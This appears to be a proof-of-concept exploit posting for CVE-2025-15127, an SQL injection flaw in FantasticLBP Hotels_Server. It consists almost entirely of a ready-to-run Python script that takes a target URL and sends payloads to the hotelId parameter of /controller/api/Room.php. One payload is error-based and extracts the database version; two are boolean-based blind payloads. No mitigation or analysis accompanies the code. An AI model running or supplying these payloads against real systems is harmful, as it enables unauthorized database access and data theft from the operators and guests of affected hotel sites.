CVE-2025-15127 FantasticLBP Hotels_Server SQL注入漏洞

import requests import sys # CVE-2025-15127 SQL Injection PoC # Target: FantasticLBP Hotels_Server /controller/api/Room.php # Parameter: hotelId def exploit_sqli(url, hotel_id_payload): """ SQL Injection exploitation function Args: url: Target base URL hotel_id_payload: Malicious SQL payload for hotelId parameter Returns: Server response content """ target_url = f"{url}/controller/api/Room.php" params = { 'hotelId': hotel_id_payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Request failed: {str(e)}" def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-15127.py <target_url>") print("Example: python cve-2025-15127.py http://target.com") sys.exit(1) base_url = sys.argv[1].rstrip('/') # Test basic SQL injection - error-based print("[*] Testing CVE-2025-15127 SQL Injection...") payload = "1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,VERSION(),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) -- " print(f"[+] Sending payload: {payload}") result = exploit_sqli(base_url, payload) print(f"[+] Response:\n{result}") # Test boolean-based blind injection print("\n[*] Testing boolean-based blind injection...") true_payload = "1' AND 1=1 -- " false_payload = "1' AND 1=2 -- " print(f"[+] True condition payload: {true_payload}") result_true = exploit_sqli(base_url, true_payload) print(f"[+] True response length: {len(result_true)}") print(f"[+] False condition payload: {false_payload}") result_false = exploit_sqli(base_url, false_payload) print(f"[+] False response length: {len(result_false)}") print("\n[*] PoC completed. Analyze responses for successful injection.") if __name__ == "__main__": main()